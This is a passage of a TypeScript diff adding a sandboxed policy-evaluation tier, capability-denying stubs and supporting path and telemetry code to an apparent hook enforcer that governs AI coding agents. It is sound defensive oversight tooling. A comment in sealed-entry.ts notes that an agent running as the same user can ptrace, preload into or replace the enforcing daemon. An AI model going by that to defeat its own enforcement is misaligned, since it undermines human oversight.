ENVELOPE_PROTOCOL_VERSION, + cli: input.cli, + eventType: input.eventType, + rawEventType: input.rawEventType, + payload: input.payload, + session: { + sessionId: input.sessionId, + transcriptPath: input.transcriptPath, + permissionMode: input.permissionMode, + hookEventName: input.hookEventName, + }, + host: { + home: { value: input.host.home, provenance: "local" }, + cwd: { value: input.cwd, provenance: "client-asserted" }, + projectDir: { + value: input.host.envFacts.CLAUDE_PROJECT_DIR, + provenance: "client-asserted", + }, + envFacts: { value: input.host.envFacts, provenance: "client-asserted" }, + }, + }; +} + +/** + * Project the envelope back onto the legacy `SessionMetadata` shape. + * + * The bridge that keeps P4 behavior-preserving: `handler.ts` builds the + * envelope once and derives `session` from it, so there is exactly one source + * of truth for session identity while every policy keeps seeing the object it + * sees today. + * + * `home` and `projectDir` are projected too (P2), which is what makes the + * legacy and daemon paths structurally identical rather than merely + * equivalent: on both, a policy reads host context off the session object it + * was handed, and neither reaches for `os.homedir()` or `process.env` on its + * own. The values are the same ones `builtin-policies.ts` installs as its + * fallback, so behaviour is unchanged; what changes is that the fallback is now + * the *unused* path in production rather than the only path. + * + * `projectDir` is left undefined rather than empty-string when the env fact is + * absent or blank, preserving the `process.env.CLAUDE_PROJECT_DIR || cwd` + * falsy-check the policy used before P2. + */ +export function envelopeToSessionMetadata(request: EvaluationRequest): SessionMetadata { + return { + sessionId: request.session.sessionId, + transcriptPath: request.session.transcriptPath, + cwd: request.host.cwd.value, + permissionMode: request.session.permissionMode, + hookEventName: request.session.hookEventName, + rawHookEventName: request.rawEventType, + cli: request.cli, + home: request.host.home.value || undefined, + projectDir: request.host.projectDir.value || undefined, + }; +} diff --git a/src/hooks/resolve-permission-mode.ts b/src/hooks/resolve-permission-mode.ts index 120e9203..9cc89deb 100644 --- a/src/hooks/resolve-permission-mode.ts +++ b/src/hooks/resolve-permission-mode.ts @@ -13,7 +13,8 @@ * * Transcript discovery (cache → today/yesterday → full tree scan) lives * in `lib/codex-sessions.ts` and is shared with the dashboard's Codex - * session viewer. + * session viewer. The scan itself reads only a bounded head window — see + * CODEX_MODE_SCAN_MAX_BYTES. * * • GitHub Copilot CLI: no documented permission-mode equivalent on the * hook payload today; falls back to "default". Revisit when Copilot's @@ -33,10 +34,56 @@ * "default" via the same final branch as Copilot/Cursor. * */ -import { readFileSync } from "node:fs"; +import { closeSync, openSync, readSync } from "node:fs"; import { findCodexTranscript } from "../../lib/codex-sessions"; import type { IntegrationType } from "./types"; +/** + * Head-window bound for the Codex transcript scan. + * + * Phase 1 / Stage 0, P4. This scan sits on the **enforcement deadline path** — + * it runs before every Codex tool call — and it used to `readFileSync` the + * whole transcript and `split("\n")` it just to find one record near the top. + * Codex transcripts are append-only conversation logs that reach megabytes + * within a day and tens of megabytes over a long session. Reading all of that + * to answer "what is the approval policy" is unbounded work whose cost grows + * with session length — the shape of latency bug that only shows up on the + * sessions users care most about. + * + * Why a *head* window is correct rather than a compromise: the scan returns the + * **first** `turn_context` record, which Codex writes at the start of the first + * turn — i.e. immediately after the `session_meta` header. Nothing later in the + * file can change the answer, because the pre-bound code stopped at the first + * match too. + * + * Why 256 KiB: measured across a real `~/.codex/sessions` tree, the first + * `turn_context` sat at byte 39,620 or 84,250 — line 8 of every transcript + * (`session_meta` embeds the base instructions, which is what puts it that far + * in at all) — in files ranging from 115 KB to 2.8 MB. 256 KiB is ~3x the + * largest observed offset, so a transcript with an unusually large header or a + * large first user message still resolves, while the read cost becomes a single + * fixed-size `pread` no matter how big the file grows: on the 2.8 MB sample + * this took the scan from 3.07 ms to 0.54 ms with an identical verdict. No + * existing test pins a value here (the only permission-mode coverage was + * `handler.test.ts`'s Claude cases), so the number comes from the file format + * rather than from a fixture. + * + * Beyond the window the function returns `undefined`, which + * `resolvePermissionMode` maps to `"default"` — the same value it already + * returns when the transcript is missing or unreadable. Degrading to the + * documented fallback is the correct failure mode for a metadata lookup; a + * throw here would take the whole hook down. + */ +export const CODEX_MODE_SCAN_MAX_BYTES = 256 * 1024; + +/** + * Secondary cap on lines examined inside the head window, bounding parse work + * if a transcript's head is pathologically many tiny records. The first + * `turn_context` is line 8 in every real transcript measured, so 2,000 leaves + * two orders of magnitude of headroom. + */ +export const CODEX_MODE_SCAN_MAX_LINES = 2_000; + export function resolvePermissionMode( integration: IntegrationType, parsed: Record, @@ -54,11 +101,38 @@ export function resolvePermissionMode( return "default"; } +/** + * Read at most `maxBytes` from the start of `path`. + * + * `truncated` says the file has (or may have) more bytes past the window, in + * which case the final line in `text` is very likely a fragment — a cut record + * or even a cut multi-byte character — and the caller must discard it rather + * than feed it to `JSON.parse`. + */ +function readHead(path: string, maxBytes: number): { text: string; truncated: boolean } { + const fd = openSync(path, "r"); + try { + const buf = Buffer.alloc(maxBytes); + const bytesRead = readSync(fd, buf, 0, maxBytes, 0); + return { + text: buf.toString("utf-8", 0, bytesRead), + truncated: bytesRead >= maxBytes, + }; + } finally { + closeSync(fd); + } +} + function resolveCodexMode(sessionId: string): string | undefined { try { const path = findCodexTranscript(sessionId); if (!path) return undefined; - for (const line of readFileSync(path, "utf-8").split("\n")) { + const { text, truncated } = readHead(path, CODEX_MODE_SCAN_MAX_BYTES); + const lines = text.split("\n"); + if (truncated) lines.pop(); + const limit = Math.min(lines.length, CODEX_MODE_SCAN_MAX_LINES); + for (let i = 0; i < limit; i++) { + const line = lines[i]; if (!line.includes("turn_context")) continue; try { const obj = JSON.parse(line) as Record; diff --git a/src/hooks/types.ts b/src/hooks/types.ts index b1021195..418ee332 100644 --- a/src/hooks/types.ts +++ b/src/hooks/types.ts @@ -1070,6 +1070,26 @@ export interface SessionMetadata { transcriptPath?: string; cwd?: string; permissionMode?: string; + /** The requesting user's home directory (Stage 0 / P2). + * + * Carried as request data rather than read from `os.homedir()` inside a + * policy, for two reasons. The daemon is a resident process answering for + * sessions it did not start, so its own ambient `$HOME` is not reliably the + * one the request belongs to and would whitelist the wrong tree. And + * `isAgentInternalPath` / `block-read-outside-cwd` both + * *widen* the allow set, so this value can only ever be trusted when the + * enforcer derived it — in the daemon that means `getpwuid_r(peer_uid)`, and + * a client-supplied `home` is a protocol error. Left undefined on the legacy + * in-process path, where the host fallback in `builtin-policies.ts` + * supplies it. */ + home?: string; + /** The stable project root — `$CLAUDE_PROJECT_DIR` on the legacy path + * (Stage 0 / P2). Preferred over `cwd`, which tracks the live shell working + * directory and drifts whenever the agent `cd`s into a subdirectory. Unlike + * `home` this genuinely cannot be derived by the enforcer, so it rides as + * client-asserted provenance and any decision that reads it is recorded + * `sealed_unattested`. */ + projectDir?: string; /** Read from the stdin payload's `hook_event_name` field. Carries the raw * agent-emitted event name (e.g. Cursor's `preToolUse`, Pi's `tool_call`). * May be undefined when stdin omits it. */ diff --git a/src/policy-runtime/host-stubs.ts b/src/policy-runtime/host-stubs.ts new file mode 100644 index 00000000..3ec94aa0 --- /dev/null +++ b/src/policy-runtime/host-stubs.ts @@ -0,0 +1,101 @@ +/** + * Deny-by-default stubs for the host modules, substituted into the sealed + * bundle at build time. + * + * The sealed tier's guarantee is stated in + * [03-daemon-architecture.md](../../desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md#execution-tiers): + * + * > The `sealed` context is deny-by-default: it exposes no filesystem, process, + * > or network bindings, so a policy that under-declares does not escape into a + * > privileged tier, it fails inside the tier it was routed to. + * + * These stubs are the second, independent mechanism behind that sentence. The + * first is import-graph tier derivation, which routes a policy touching the host + * to `user-context` before it ever reaches the sealed worker. Derivation is + * static, so it can be wrong — a dynamic `import()`, a specifier it failed to + * resolve, a bundler edge case. Runtime enforcement does not depend on + * derivation having been right. + * + * Note what is *not* here: the enforcement is not primarily these throws. The + * QuickJS context registers no bindings at all, so there is no `require`, no + * module resolution, no `process`, and no way to reach a real `fs` even if a + * policy asked for one. These stubs exist because the sealed bundle also + * contains failproofai's own evaluator scaffolding — the policy registry, the + * params map, the response encoder — which is reached through modules that + * statically import `node:os` and `node:fs` for the *legacy* path. Replacing + * those imports with throwing stubs keeps the bundle buildable while making any + * accidental call a loud, attributable failure instead of a silent one. + * + * A throw from here is not an allow. It propagates as a policy evaluation + * error, which the daemon counts toward that artifact's circuit breaker and + * surfaces in health — it never degrades to a permissive verdict. + */ + +/** Thrown when sealed code reaches for a capability the tier does not have. */ +export class SealedCapabilityError extends Error { + readonly capability: string; + + constructor(capability: string) { + super( + `failproofai sealed tier: '${capability}' is not available. ` + + `The sealed execution tier has no filesystem, subprocess, or network access. ` + + `A policy needing one of those is routed to the user-context tier at admission; ` + + `reaching this error means something bypassed that routing.`, + ); + this.name = "SealedCapabilityError"; + this.capability = capability; + } +} + +function forbid(capability: string): (...args: unknown[]) => never { + return () => { + throw new SealedCapabilityError(capability); + }; +} + +// -- node:os -- +export const homedir = forbid("os.homedir"); +export const tmpdir = forbid("os.tmpdir"); +export const userInfo = forbid("os.userInfo"); +export const hostname = forbid("os.hostname"); +export const platform = forbid("os.platform"); + +// -- node:child_process -- +export const execSync = forbid("child_process.execSync"); +export const execFileSync = forbid("child_process.execFileSync"); +export const exec = forbid("child_process.exec"); +export const execFile = forbid("child_process.execFile"); +export const spawn = forbid("child_process.spawn"); +export const spawnSync = forbid("child_process.spawnSync"); + +// -- node:fs / node:fs/promises -- +export const readFile = forbid("fs.readFile"); +export const writeFile = forbid("fs.writeFile"); +export const readFileSync = forbid("fs.readFileSync"); +export const writeFileSync = forbid("fs.writeFileSync"); +export const appendFileSync = forbid("fs.appendFileSync"); +export const renameSync = forbid("fs.renameSync"); +export const mkdirSync = forbid("fs.mkdirSync"); +export const existsSync = forbid("fs.existsSync"); +export const statSync = forbid("fs.statSync"); +export const stat = forbid("fs.stat"); +export const open = forbid("fs.open"); +export const openSync = forbid("fs.openSync"); +export const readSync = forbid("fs.readSync"); +export const closeSync = forbid("fs.closeSync"); +export const readdirSync = forbid("fs.readdirSync"); +export const unlinkSync = forbid("fs.unlinkSync"); +export const rmSync = forbid("fs.rmSync"); + +// Some call sites do `import * as fs from "node:fs"` — give them an object +// whose every property throws on call rather than being undefined, so the +// failure names the capability instead of surfacing as "not a function". +const namespace = { + homedir, tmpdir, userInfo, hostname, platform, + execSync, execFileSync, exec, execFile, spawn, spawnSync, + readFile, writeFile, readFileSync, writeFileSync, appendFileSync, + renameSync, mkdirSync, existsSync, statSync, stat, open, openSync, + readSync, closeSync, readdirSync, unlinkSync, rmSync, +}; + +export default namespace; diff --git a/src/policy-runtime/pure-path.ts b/src/policy-runtime/pure-path.ts new file mode 100644 index 00000000..affdf77d --- /dev/null +++ b/src/policy-runtime/pure-path.ts @@ -0,0 +1,187 @@ +/** + * A dependency-free POSIX `resolve` / `join`, for the sealed policy runtime. + * + * The sealed tier evaluates inside a QuickJS context with **no bindings + * registered** — no filesystem, no process, no network, and therefore no + * `node:path` either. But three sealed-eligible builtins do real path + * arithmetic (`block-read-outside-cwd`, `block-rm-rf`, and the agent-internal + * whitelist they share), so the arithmetic has to come from somewhere. + * + * Two options were available and only one is honest. Registering a Rust-backed + * `path` binding would put a host-implemented function inside the sealed + * context, which is exactly the surface the tier exists to have none of — and + * it would silently differ from Node's semantics at the edges, which is where + * path bugs live. So instead: reimplement the two functions, in plain + * JavaScript, with no capabilities at all, and **prove equivalence against + * `node:path.posix` differentially** rather than by reading the spec twice. + * `__tests__/policy-runtime/pure-path.test.ts` does that over a generated + * corpus, including the adversarial cases (`..` past root, trailing slashes, + * empty segments, embedded `.`), and any divergence is a test failure rather + * than a policy that quietly whitelists the wrong directory. + * + * POSIX only, deliberately. Windows daemon support is out of scope for Phase 1 + * (see the Phase 1 README), and the two callers already normalise backslashes + * to forward slashes themselves before comparing. + */ + +/** + * The working directory `resolve()` falls back to when no argument supplies an + * absolute path. + * + * Node uses `process.cwd()` here. The sealed context has no process, and more + * to the point it *must* not have one: a cwd read from the daemon's own process + * would be wherever the daemon was launched, not where the request came from — + * and it would be that for every session on the machine. Every call site in + * the builtins passes an absolute `cwd` as the first argument, so this fallback + * is unreachable in practice — `/` is chosen so that if it ever is reached the + * result is a well-formed absolute path that matches nothing rather than a + * relative path that could compare `startsWith` against anything. + */ +const SEALED_CWD = "/"; + +/** + * Collapse `.` and `..` segments, mirroring Node's internal `normalizeString`. + * + * `allowAboveRoot` distinguishes the two callers: `resolve` has already + * guaranteed an absolute path, so a leading `..` is dropped (you cannot go + * above `/`), while `join` may produce a relative path where a leading `..` is + * meaningful and must be preserved. + */ +function normalizeString(path: string, allowAboveRoot: boolean): string { + let res = ""; + let lastSegmentLength = 0; + let lastSlash = -1; + let dots = 0; + let code = 0; + + for (let i = 0; i <= path.length; ++i) { + if (i < path.length) { + code = path.charCodeAt(i); + } else if (code === 47 /* / */) { + break; + } else { + code = 47; + } + + if (code === 47) { + if (lastSlash === i - 1 || dots === 1) { + // "//" or "/./" — nothing to do. + } else if (dots === 2) { + if ( + res.length < 2 || + lastSegmentLength !== 2 || + res.charCodeAt(res.length - 1) !== 46 /* . */ || + res.charCodeAt(res.length - 2) !== 46 /* . */ + ) { + if (res.length > 2) { + const lastSlashIndex = res.lastIndexOf("/"); + if (lastSlashIndex === -1) { + res = ""; + lastSegmentLength = 0; + } else { + res = res.slice(0, lastSlashIndex); + lastSegmentLength = res.length - 1 - res.lastIndexOf("/"); + } + lastSlash = i; + dots = 0; + continue; + } else if (res.length !== 0) { + res = ""; + lastSegmentLength = 0; + lastSlash = i; + dots = 0; + continue; + } + } + if (allowAboveRoot) { + res += res.length > 0 ? "/.." : ".."; + lastSegmentLength = 2; + } + } else { + if (res.length > 0) { + res += `/${path.slice(lastSlash + 1, i)}`; + } else { + res = path.slice(lastSlash + 1, i); + } + lastSegmentLength = i - lastSlash - 1; + } + lastSlash = i; + dots = 0; + } else if (code === 46 /* . */ && dots !== -1) { + ++dots; + } else { + dots = -1; + } + } + return res; +} + +/** `path.posix.resolve`. Always returns an absolute, normalised path. */ +export function resolve(...args: string[]): string { + let resolvedPath = ""; + let resolvedAbsolute = false; + + for (let i = args.length - 1; i >= 0 && !resolvedAbsolute; i--) { + const path = args[i]; + if (typeof path !== "string") { + throw new TypeError(`Path must be a string. Received ${JSON.stringify(path)}`); + } + if (path.length === 0) continue; + + resolvedPath = `${path}/${resolvedPath}`; + resolvedAbsolute = path.charCodeAt(0) === 47 /* / */; + } + + if (!resolvedAbsolute) { + resolvedPath = `${SEALED_CWD}/${resolvedPath}`; + } + + resolvedPath = normalizeString(resolvedPath, false); + + return resolvedPath.length > 0 ? `/${resolvedPath}` : "/"; +} + +/** `path.posix.join`. May return a relative path. */ +export function join(...args: string[]): string { + if (args.length === 0) return "."; + + let joined: string | undefined; + for (let i = 0; i < args.length; ++i) { + const arg = args[i]; + if (typeof arg !== "string") { + throw new TypeError(`Path must be a string. Received ${JSON.stringify(arg)}`); + } + if (arg.length > 0) { + if (joined === undefined) joined = arg; + else joined += `/${arg}`; + } + } + if (joined === undefined) return "."; + return normalize(joined); +} + +/** + * Namespace export, for call sites that write `import path from "node:path"` + * (`lib/telemetry-id.ts` does). The bundler substitutes this module for + * `node:path`, so it has to satisfy both the named and default import shapes. + */ +const posixPath = { resolve, join, normalize }; +export default posixPath; + +/** `path.posix.normalize`. Exported because `join` needs it and tests assert it. */ +export function normalize(path: string): string { + if (path.length === 0) return "."; + + const isAbsolute = path.charCodeAt(0) === 47 /* / */; + const trailingSeparator = path.charCodeAt(path.length - 1) === 47; + + let normalized = normalizeString(path, !isAbsolute); + + if (normalized.length === 0) { + if (isAbsolute) return "/"; + return trailingSeparator ? "./" : "."; + } + if (trailingSeparator) normalized += "/"; + + return isAbsolute ? `/${normalized}` : normalized; +} diff --git a/src/policy-runtime/runtime-stubs.ts b/src/policy-runtime/runtime-stubs.ts new file mode 100644 index 00000000..31149547 --- /dev/null +++ b/src/policy-runtime/runtime-stubs.ts @@ -0,0 +1,63 @@ +/** + * Inert replacements for failproofai's own diagnostic modules, substituted into + * the sealed bundle at build time. + * + * Distinct from `./host-stubs.ts`, which throws. These do nothing and return, + * because the things they replace are legitimately reachable from the sealed + * path and legitimately must not happen there: + * + * | Replaced | Why it cannot run in the sealed tier | + * |---|---| + * | `hook-logger.ts` | appends to a rotating file under `~/.failproofai/logs/`. The sealed context has no filesystem, and the home it would resolve is the daemon's launch environment rather than the request's. | + * | `hook-telemetry.ts` | `fetch()`s PostHog. Enforcement runs under a hard deadline and performs no unbounded I/O — a synchronous network call inside a hook makes a third party's availability a precondition for the user running a command. | + * | `lib/telemetry-id.ts` | reads `~/.failproofai/instance-id`, and shells out via `execSync` for a platform machine ID. | + * + * Throwing instead of no-op'ing would be wrong here. These are called on the + * *normal* path — `evaluateVerdicts` logs the policy count and fires + * `policy_evaluation_error` telemetry when a builtin crashes — so a throw would + * convert a diagnostic into an evaluation failure and trip a circuit breaker for + * a policy that worked fine. + * + * Nothing is lost. The daemon owns observability for sealed evaluations: it has + * the structured result, the decision ID, the generation ID, and the timing, + * and it writes decision evidence to the durable activity spool on its own lane + * — asynchronously, outside the enforcement deadline. Diagnostics from inside + * the worker would be a second, worse channel for the same information. + */ + +// -- hook-logger -- +export type LogLevel = "info" | "warn" | "error"; +export function hookLogInfo(_msg: string): void {} +export function hookLogWarn(_msg: string): void {} +export function hookLogError(_msg: string): void {} +export function _resetHookLogger(): void {} + +// -- hook-telemetry -- +export async function trackHookEvent( + _distinctId: string, + _event: string, + _properties?: Record, +): Promise {} +export async function flushHookTelemetry(): Promise {} + +// -- lib/telemetry-id -- +/** + * A fixed sentinel rather than a random or empty value. + * + * It is only ever passed as the `distinctId` argument to the no-op + * `trackHookEvent` above, so it never leaves the worker. A constant keeps the + * worker deterministic, which the soak test depends on: the same request must + * produce the same bytes on the first evaluation and the ten-thousandth. + */ +export function getInstanceId(): string { + return "sealed-worker"; +} +export function hashToId(raw: string): string { + return raw; +} +export function getPlatformMachineId(): string | undefined { + return undefined; +} +export function getSystemPropertiesId(): string { + return "sealed-worker"; +} diff --git a/src/policy-runtime/sealed-entry.ts b/src/policy-runtime/sealed-entry.ts new file mode 100644 index 00000000..d2b38e72 --- /dev/null +++ b/src/policy-runtime/sealed-entry.ts @@ -0,0 +1,223 @@ +/** + * The sealed policy worker's entry point. + * + * This module is bundled (by `scripts/build-sealed-bundle.ts`) into a single + * self-contained JavaScript file and evaluated inside a QuickJS context that + * has **no bindings registered** — no `require`, no module resolution, no + * `process`, no filesystem, no sockets. The only channel in or out is the one + * function this file installs on `globalThis`. + * + * It lives under `src/` rather than in a build directory so that + * `tsc --noEmit` and eslint already cover it — the sealed runtime is not a + * place to discover a type error at runtime. + * + * ## What it is for + * + * **Not verdict integrity, in v1.0.0.** That argument needed the daemon to run + * as a UID the governed agent could not administer; user scope makes them the + * same user, so the agent can `ptrace` the daemon, preload into it, or replace + * the binary. Any sentence here claiming a verdict computed in this file cannot + * be forged would be false, so there isn't one. `crates/PROTOCOL.md` states the + * scope; the managed install that would restore the claim is deferred. + * + * What the tier buys instead is real and is a different thing: a warm evaluator + * rather than a fresh interpreter per event, no `.__failproofai_tmp__.mjs` + * written beside the user's own source on every tool call, a deadline a + * watchdog actually enforces, and a deny-by-default context that contains a + * *buggy or over-reaching* policy — protection against mistakes, not against an + * adversary who is already this user. See + * [03-daemon-architecture.md](../../desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md#execution-tiers). + * + * ## Why it reuses `evaluateVerdicts` / `encodeResponse` rather than reimplementing + * + * `policy-evaluator.ts` encodes roughly a dozen mutually incompatible vendor + * response contracts, each annotated with the version it was verified against. + * A "semantically equivalent" reimplementation of that matrix is a silent-allow + * generator. So the sealed worker runs *the same TypeScript*, bundled — the + * only difference between the sealed and legacy paths is which process and UID + * it runs in, and which bindings exist. + * + * ## State, and why the soak test matters + * + * Every hook today runs in a fresh process, so the `globalThis` policy + * registry, the memoised policy index, and every hoisted `/g` regex start + * clean. A resident worker changes all of that at once, and the failure mode is + * a *wrong verdict*, not a crash. `evaluate()` therefore rebuilds the registry + * from scratch on every call, and + * `__tests__/policy-runtime/sealed-soak.test.ts` runs the whole corpus twice + * through one warm worker and then once in randomised order, asserting + * identical bytes all three times. + */ +import type { HookEventType, IntegrationType, SessionMetadata } from "../hooks/types"; +import type { HooksConfig } from "../hooks/policy-types"; +import { clearPolicies } from "../hooks/policy-registry"; +import { registerBuiltinPolicies } from "../hooks/builtin-policies"; +import { + evaluateVerdicts, + encodeResponse, + type EvaluationResult, +} from "../hooks/policy-evaluator"; +import { PAYLOAD_ONLY_POLICIES } from "../hooks/builtin/payload-only"; +import { setHostContextFallback } from "../hooks/builtin/host-context"; +import { setPolicyWarnSink } from "../hooks/builtin/warn"; + +/** The names the sealed tier is permitted to run, as a set for O(1) filtering. */ +const SEALED_ELIGIBLE = new Set(PAYLOAD_ONLY_POLICIES.map((p) => p.name)); + +/** Canonical names (`failproofai/`), which is what config carries. */ +const SEALED_ELIGIBLE_CANONICAL = new Set( + PAYLOAD_ONLY_POLICIES.map((p) => `failproofai/${p.name}`), +); + +/** + * The request the daemon hands in. Deliberately a plain JSON shape rather than + * an imported interface: this crosses a process and a language boundary, and + * `crates/PROTOCOL.md` is its contract. + */ +export interface SealedRequest { + eventType: HookEventType; + payload: Record; + session: SessionMetadata & { cli?: IntegrationType }; + /** Enabled policy names and params, from the daemon's active generation. */ + config: HooksConfig; +} + +export interface SealedResponse { + ok: true; + result: EvaluationResult; + /** Policies that matched but are not sealed-eligible; the daemon routes these. */ + needsUserContext: string[]; + /** Whether any evaluated policy read a client-asserted host field. */ + readClientAssertedHost: boolean; +} + +export interface SealedError { + ok: false; + error: string; + stack?: string; +} + +/** + * Restrict an incoming config to what the sealed tier may actually run. + * + * The daemon is supposed to have partitioned this already, but the worker does + * not take that on trust. A host-access policy reaching the sealed context + * would not be a security hole — the stubs would throw — but it *would* turn a + * routing bug into a per-event circuit-breaker trip that is hard to attribute. + * Filtering here makes the same bug show up as an explicit `needsUserContext` + * entry the daemon can report. + */ +function partitionEnabled(enabled: readonly string[]): { + sealed: string[]; + needsUserContext: string[]; +} { + const sealed: string[] = []; + const needsUserContext: string[] = []; + for (const name of enabled) { + if (SEALED_ELIGIBLE.has(name) || SEALED_ELIGIBLE_CANONICAL.has(name)) sealed.push(name); + else needsUserContext.push(name); + } + return { sealed, needsUserContext }; +} + +/** + * Evaluate one hook event. + * + * Returns a discriminated result rather than throwing, because a throw across + * the QuickJS boundary loses its message. A `SealedError` is *not* an allow: + * the daemon treats it as an evaluation failure, counts it toward the + * artifact's circuit breaker, and falls back per the configured failure mode. + */ +export async function evaluate(request: SealedRequest): Promise { + try { + const { sealed, needsUserContext } = partitionEnabled(request.config.enabledPolicies ?? []); + + // Rebuild from scratch every call. This is what makes a resident worker + // behave like the fresh process the legacy path gets — see the soak test. + clearPolicies(); + registerBuiltinPolicies(sealed); + + // Host context comes from the request, never from this process: the worker + // is resident and answers for sessions it did not start, so any ambient + // home it could read would be the launching environment's rather than the + // request's — and it would be that for every session at once. `home` was + // derived by the daemon from `getpwuid_r(peer_uid)`; a client-asserted one + // is rejected at the socket. + // The fallback is inert so a missing value fails closed rather than + // silently borrowing the worker's environment. + setHostContextFallback({ + home: () => "", + projectDir: () => undefined, + }); + + // The sealed context has no filesystem to write a log to. Warnings are + // diagnostic only and never affect a verdict, so discarding is correct; + // the daemon captures anything it needs from the structured result. + setPolicyWarnSink(() => {}); + + const verdicts = await evaluateVerdicts( + request.eventType, + request.payload, + request.session, + request.config, + ); + const result = encodeResponse(verdicts, request.eventType, request.session); + + return { + ok: true, + result, + needsUserContext, + // `cwd` and `project_dir` cannot be derived by the daemon and ride as + // client-asserted, so a decision that read one is `sealed_unattested` + // rather than `sealed`. Reported honestly rather than claiming an + // integrity property the input does not support. + readClientAssertedHost: Boolean(request.session.cwd || request.session.projectDir), + }; + } catch (err) { + return { + ok: false, + error: err instanceof Error ? err.message : String(err), + stack: err instanceof Error ? err.stack : undefined, + }; + } +} + +/** The sealed-eligible policy names, so the daemon can build its generation. */ +export function sealedPolicyNames(): string[] { + return [...SEALED_ELIGIBLE]; +} + +/** + * Install the QuickJS-facing surface. + * + * Strings in, strings out. QuickJS and Rust exchange JSON rather than structured + * values so there is exactly one serialisation format to reason about, and so + * the same worker is drivable from a Node harness in tests (which is how the + * soak and parity suites run it without a Rust build). + */ +declare const globalThis: { + __fpai_sealed_evaluate?: (requestJson: string) => Promise; + __fpai_sealed_policies?: () => string; + __fpai_sealed_version?: string; +} & typeof global; + +export function installSealedGlobals(): void { + globalThis.__fpai_sealed_evaluate = async (requestJson: string): Promise => { + let request: SealedRequest; + try { + request = JSON.parse(requestJson) as SealedRequest; + } catch (err) { + return JSON.stringify({ + ok: false, + error: `sealed worker: request is not valid JSON: ${ + err instanceof Error ? err.message : String(err) + }`, + } satisfies SealedError); + } + return JSON.stringify(await evaluate(request)); + }; + globalThis.__fpai_sealed_policies = () => JSON.stringify(sealedPolicyNames()); + globalThis.__fpai_sealed_version = "1"; +} + +installSealedGlobals();